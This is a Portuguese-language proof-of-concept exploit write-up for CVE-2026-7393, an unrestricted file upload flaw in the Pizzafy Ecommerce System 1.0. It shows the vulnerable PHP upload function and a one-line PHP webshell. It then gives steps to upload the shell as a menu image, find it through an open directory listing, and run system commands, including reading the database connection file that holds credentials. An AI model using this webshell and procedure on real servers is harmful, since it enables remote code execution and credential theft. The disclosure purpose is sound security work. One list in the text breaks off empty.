
Exploit de prova de conceito para CVE-2026-7393: upload de arquivo irrestrito no Pizzafy Ecommerce System 1.0 permitindo que administradores autenticados façam upload de um webshell PHP e obtenham execução remota de código.
| Campo | Valor |
|---|---|
| Fornecedor | SourceCodester |
| URL do Fornecedor | https://www.sourcecodester.com |
| Produto | Pizzafy Ecommerce System usando PHP e MySQL |
| URL do Produto | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html |
| Versão | 1.0 |
| Vulnerabilidade | Upload de Arquivo sem Restrições → Execução Remota de Código |
| CWE | CWE-434 |
| Pontuação CVSSv3 | 7.8 (Alta) |
| Vetor de Ataque | Rede |
| Autenticação Necessária | Sim (Administrador) |
| Interação do Usuário | Nenhuma |
| Pesquisador | Imad Alvi |
| Data | 2026-04-12 |
Arquivo: Pizzafy/admin/admin_class_novo.php → função save_menu()
Parâmetro: img (FILE)
Caminho de upload: Pizzafy/assets/img/
A função save_menu() no Pizzafy Ecommerce System 1.0 lida com uploads de imagens para itens do menu sem realizar nenhuma validação de tipo de arquivo. A aplicação recupera a extensão do arquivo usando pathinfo(), mas nunca verifica ou restringe os tipos de arquivo permitidos antes de mover o arquivo enviado para o diretório acessível pela web assets/img/. Um administrador autenticado pode fazer upload de um webshell PHP disfarçado como uma imagem de menu, e então acessá-lo diretamente via navegador para obter Execução Remota de Código no servidor.
Código vulnerável em admin_class_novo.php:
function save_menu(){
extract($_POST);
// ...
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
$data .= ", img_path = '$fname' ";
}
// Nenhuma verificação de extensão, nenhuma verificação de tipo MIME
}
Crie um arquivo chamado shell_web2.php com o seguinte conteúdo:
<?php echo shell_exec($_GET['cmd']); ?>
Faça login como administrador e navegue para:
http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu
Preencha o Formulário de Menu com valores válidos e selecione shell_web2.php como o arquivo de Imagem. Clique em Salvar.
O shell agora aparece como um item de menu na página voltada ao cliente.
Navegue até o diretório assets — a listagem de diretórios está ativada (CWE-548):
http://192.168.0.9/pizzafy/Pizzafy/assets/img/
O shell PHP enviado está visível na listagem de diretórios.
Acesse o shell enviado diretamente e passe comandos do sistema via parâmetro cmd:
http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami
Resposta — comando do SO executado no servidor:
desktop-g1i9np3\dell
?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php
Um administrador autenticado pode:
O diretório assets/img/ tem a listagem de diretórios ativada, permitindo que usuários não autenticados naveguem por todos os arquivos enviados, incluindo o webshell. Isso agrava a gravidade da vulnerabilidade de upload de arquivos.